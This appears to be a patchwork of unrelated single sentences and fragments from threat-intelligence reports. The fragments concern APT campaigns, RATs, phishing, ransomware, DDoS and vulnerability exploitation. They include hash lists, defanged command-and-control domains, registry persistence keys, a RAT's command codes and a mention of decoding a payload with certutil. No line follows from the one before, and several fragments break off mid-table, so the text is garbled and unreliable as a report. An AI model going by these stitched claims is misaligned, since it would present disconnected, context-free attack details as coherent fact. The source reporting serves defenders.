Troj.Win32.TRX.XXPE50FFF039  50b000a7d61885591ba4ec9df1a0a223dbceb1ac2facafcef3d65c8cbbd64d46  email.exe


The watermarking technique is implemented through the module attributes of the assembly.


Once a user provides credentials in the dialog, they are posted to an attacker controlled domain.


For example in 2017, our Security Reliability Engineering team measured a record-breaking UDP amplification attack sourced out of several Chinese ISPs (ASNs 4134, 4837, 58453, and 9394), which remains the largest bandwidth attack of which we are aware.


In addition to including phishing links directly in the email, the attackers also link to PDFs and/or DOCs, hosted on Google Drive and Microsoft One Drive, that contain a link to an attacker-controlled phishing domain.


One messy reality is that enterprises don’t manage all their endpoints.


Indicators of compromise (IOCs) Threat actor-managed C&C URLs:  https://highstreetmuch[.]xyz/hug/gate[.]php https://takeusall[.]online/benzz/gate[.]PHP  MITRE ATT&CK® Matrix          Tags  Cloud | APT & Targeted Attacks | Research | Phishing | Articles, News, Reports


We noted that it can disable a number of antivirus products, previously identified by Aon’s researchers.


Trojan.W97M.SIDEWINDER.A     AB7C1967BF1FEFDFFDE93626B78EB30994655AB02F59E0ADB0935E3E599A953F  RTF file  Trojan.W97M.SIDEWINDER.A     2548A819E4C597BA5958D2D18BAA544452948E5B00271570192CCD79ABE88E8D  1.a JS file  Trojan.JS.SIDEWINDER.A  Downloader.


Figure 7. gooogle[.]press registration info


However, we construe them to be different groups, possibly within the same community, with different objectives and modi operandi.


Figure 4:


A rough translation of this message is as follows: “Fxxk, when I am released, the server is offline, I can’t find the machine, the domain is expired, it is so bad.


Last year, TAG identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.


Palo Alto Networks strongly advises organizations to patch immediately.


Finally, a variable containg the next time a packet should be sent is updated and all of the parameters are sent to the modules again.


If the value of the “type” argument is “Chrome”, it will use the AES secret key or DPAPI (for Chrome versions before 80) to decrypt the cookie file.


The particular vulnerability in question affects an Android feature known as “Toast.” “Toast” is a type of notification window that “pops” (like toast) on the screen.


In a separate attack, 962 online stores were hit in just 24 hours.


In this blog, Trend Micro shares security recommendations for organizations to ensure stable security practices in a cloud-first world.


For most, it’s something they set up once and forget about.


We found the group was focused on stealing defense-, ocean-, and ship-related documents from target networks, which led us to believe that Tropic Trooper’s main purpose is to exfiltrate confidential information or intelligence.


Trend Micro Solutions Patchwork uses email as an entry point, which is why securing the email gateway is important.


If Koadic finds that the system is conducive to the attacker’s interests, it downloads a base64-encrypted version of the ANEL malware from the Command-and-Control (C&C) server and executes it.  Encrypted ANEL is decrypted using the “certutil -docode” command.


While ransomware is a large problem for users, it’s important to realize that not all malware families are created equal.


This separation of functions may be intended to avoid detection by security products.


In the week of the 2017 presidential elections in Iran, Pawn Storm set up a phishing site targeting chmail.ir webmail users.


Our Threat Analysis Group, or TAG, is dedicated to protecting users from threats posed by state-sponsored malware attacks and other advanced persistent threats.


A further account, l4cky-control, was also discovered.


We also noticed the presence of an APK file hosted in one of the servers, suggesting that if the cybercriminals decide to go further than just infecting servers, they may decide to attack Android-based devices.


Related IOCs


We’ve also seen attackers try to trick people into downloading malware by impersonating health organizations: Generally, we’re not seeing an overall rise in phishing attacks by government-backed groups; this is just a change in tactics.


Based on the reviews, the application does not function very well as a remote, but in reality it doesn’t contain remote control capability.


Enterprises can benefit from Trend Micro’s Smart Protection Suites with XGen™ security, which infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across any user activity and any endpoint.   Indicators of Compromise (IoCs)  C&C servers  Ssl[.]arkouthrie[.]com s3[.]hiahornber[.]com widget[.]shoreoa[.]com    SHA256 Delivery document (W2KM_OCEANLOTUS.A): 2bb855dc5d845eb5f2466d7186f150c172da737bfd9c7f6bc1804e0b8d20f22a Dropper (OSX_OCEANLOTUS.D): 4da8365241c6b028a13b82d852c4f0155eb3d902782c6a538ac007a44a7d61b4 Backdoor (OSX_OCEANLOTUS.D): 673ee7a57ba3c5a2384aeb17a66058e59f0a4d0cddc4f01fe32f369f6a845c8f            Tags  Malware | APT & Targeted Attacks | Endpoints | Research | Network


In the threat actor toolkit, different types of attacks are used for different purposes: Phishing campaigns can be used like a scalpel—targeting specific groups or individuals with personalized lures that are more likely to trick them into taking action (like clicking on a malware link), while DDoS attacks are more like a hatchet—disrupting or blocking a site or a service entirely.


TAG has also observed an increasing number of financially motivated actors targeting Ukraine.


Collection Data from Local System T1533 Used to collect files from the device, including documents, photos, and  media files


For those interested in following our in-the-wild work, we will soon publish details surrounding another, unrelated campaign we discovered using two Chrome 0-days (CVE-2021-37973 and CVE-2021-37976).


These many C2 mechanisms make Dyre much more difficult to fully take down than a simple single (or small group) of C2s.


If your administrators and help desk are the only ones who need RDP access to your systems, disable RDP for the rest of your users.


This is an ELF file and there are various encrypted portions within it.


Indicators of Compromise  SHA256 Type Detection Name 41ee0ab77b474b0c84a1c25591029533f058e4454d9f83ba30159cc6309c65d1


The browser then navigates to Gmail to begin the data collection.


Note that the PHP code below is obfuscated.


Many of the users who downloaded the tool may not be using one of the targeted Spanish or Australian networks.


This demonstrates the diversity of ransomware and emphasizes how difficult it is to expand ransomware detection coverage with static profiling.


If, however, these lines do not pass through this IF statement, an error would occur.


Variable}.registry.HKCU Set HKEY_CURRENT_USER {Variable}.registry.HKLM Set HKEY_LOCAL_MACHINE {Variable}.registry.STRING Set String Value {Variable}.registry.BINARY Set Binary Value {Variable}.registry.DWORD Set DWORD Value {Variable}.registry.QWORD


Figure 9 shows that SLUB used “Windows-RT-KB-2937636.dll,” while Freenki used “Windows-KB275122-x86.exe.”      Figure 9 Naming convention for persistence.


The configuration portion of the PowerShell script


Credit card CVN number cc_first_name ff First name of cardholder cc_last_name gg Last name of cardholder bill_to_phone hh Phone number for billing bill_to_country ii


Figure 4. Two-stage payload deployment  Figure 5. Code showing how the dropper invokes extra DEX code To deploy the payload app callCam on the device without the user’s awareness


That resulted in our collaboration to develop secure network guidelines for industrial robots using ROS.


BIOPASS RAT Loader  Backdoor.


Furthermore, when Lilith RAT is terminated, it will try to clean itself to prevent being found by investigators.


Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.


It also abuses three legitimate MS Office functions:


Android App: https://www.virustotal.com/gui/file/5d3ff202f20af915863eee45916412a271bae1ea3a0e20988309c16723ce4da5/detection  Android App C2: communication-shield[.]site cdsa[.]xyz


Even when the threat actor was not using the “JSON” format, the commands embedded in the various samples show a surprising amount of similarities.


Collect files Collects the specified file from an endpoint during an investigation Submit a file for sandbox analysis Submits a file to the Trend Micro Vision One sandbox for automated analysis Retrieve sandbox analysis report Retrieves the analysis report, IOCs, or artifacts available after automated analysis Quarantine email message


We provided a detailed analysis of this new HyperBro version in our research.


Attackers send emails that appear to be from a person or company that you trust.


The payload was still njRAT.


مکتبة إلکترونیة.pdf 70cab18770795ea23e15851fa49be03314dc081fc44cdf76e8f0c9b889515c1b Trojan.


Figure 15. Koadic’s communication traffic Medium- to long-term mitigation


The open-source OMI package is designed to provide a portable infrastructure backbone for web-based management tools, such as diagnostic monitoring, log analytic services and automation functionality within UNIX and Linux systems.


TAG also recently released information on a segment of attackers we call “hack-for-hire” that focuses on compromising accounts and exfiltrating data as a service.


The third scheduled task —is called “big.txt”— is responsible for implementing the BIOPASS RAT malware.


Encoded “join” event sent to the C&C server      Figure 19.


The email exfiltration flow with WebSocket backdoor      Figure 14.


Lurk compromised systems by exploiting web browser vulnerabilities via drive-by download attacks.


When determining attribution, the most interesting leads are the ones that can deduce information about the malware author’s working environment.


If you re-test these hashes again from last week you can see an average of 49/57 engines that detect last week’s threat – but that’s too little, too late for anyone who already lost data.


There are also no magic bytes within the packed payload, unlike UPX-packed binaries, which contain the magic bytes UPX!.


Given their targets, we have named this campaign “Operation ENDTRADE,” and identified some of the findings in our research “Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data”.


By doing this, they were able to target organizations that relied on the distributor’s security camera solution and infect their systems with malware.


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The apps mainly used Middle East-based news and sociopolitical themes as social engineering hooks and abused social media to further proliferate.


In the end, it returns the modified table.


It also downloads the following:  Accevent.exe <-> Microsoft Accessible Event Watcher 7.2.0.0 event.dll <-> the loader of ssssss.ddd, (Detected as TROJ_ANELLDR) ssssss.ddd (lena_http.bin) <-> encrypted BKDR_ANEL (Detected as BKDR_ANELENC)


Host IOCs Registry Keys HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\KernelConfig HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\DriverConfig HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SSL Update File Paths C:\Windows\System32\Nwsapagent.sys C:\Windows\System32\helpsvc.sys C:\ProgramData\USOShared\uso.bin C:\ProgramData\VMware\vmnat-update.bin C:\ProgramData\VirtualBox\update.bin


The RATs were also sent to a wider net of targets including various industries around the world.


It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats like REDBALDKNIGHT’s attacks even without any engine or pattern update.


In the version tested, the C2 was unobfuscated and stored as a hardcoded string.


Opens command shell 0x5007 Unknown 0x5009 Closes command shell 0x500A


Now they are digging deeper into their victims’ networks and looking for new ways to monetize their activities.


— TROJ_SIDELOADR.A 279cf1773903b7a5de63897d55268aa967a87f915a07924c574e42c9ed12de30 (sharphound.exe)


Table 2. Top 15 source IPs triggering the Spring Core Remote Code Execution Vulnerability signature.


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Both Netlab 360 and Trend Micro also observed Mirai activity related to the SpringShell vulnerability.


Reports indicate that it harvests credentials using Mimikatz and Maarten van Dantzig reports it also uses common hardcoded credentials to spread.


Password dumping tool out1.exe 79fd822627b72bd2fbe9eae43cf98c99c2ecaa5649b7a3a4cfdc3ef8f977f2e6 HackTool.Win64.Lazagne.


The downloaded emails are not sent to the C2.


The other says there is a new file on the company’s OneDrive system.


Spear Phishing is a specific attack technique that has become widely used in the past few years.


We terminated 6 YouTube channels as part of our investigation into coordinated influence operations linked to Kyrgyzstan.


We hope our thorough analysis of Operation Earth Kitsune will help others with data points for attribution in the future.


A majority of these alerts are triggered by testing of the proof-of-concept tools previously mentioned above.


IoT Company Wyze Leaks Emails, Device Data of 2.4M


We use our research to continuously improve the safety and security of our products and share this intelligence with the community to benefit the internet as a whole.


Figure 8.


The operation that Unit 42 has recently uncovered works to deliver XMRig, software that is used to mine the Monero cryptocurrency, to victims’ systems without their knowledge or consent.


Lastly, we gave an example of ransom operations and updates about top ransomware families.


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Additionally, this threat actor not only leverages open-source tooling, but also develops his own tools and scripts.


Courses of Action for Conti ransomware.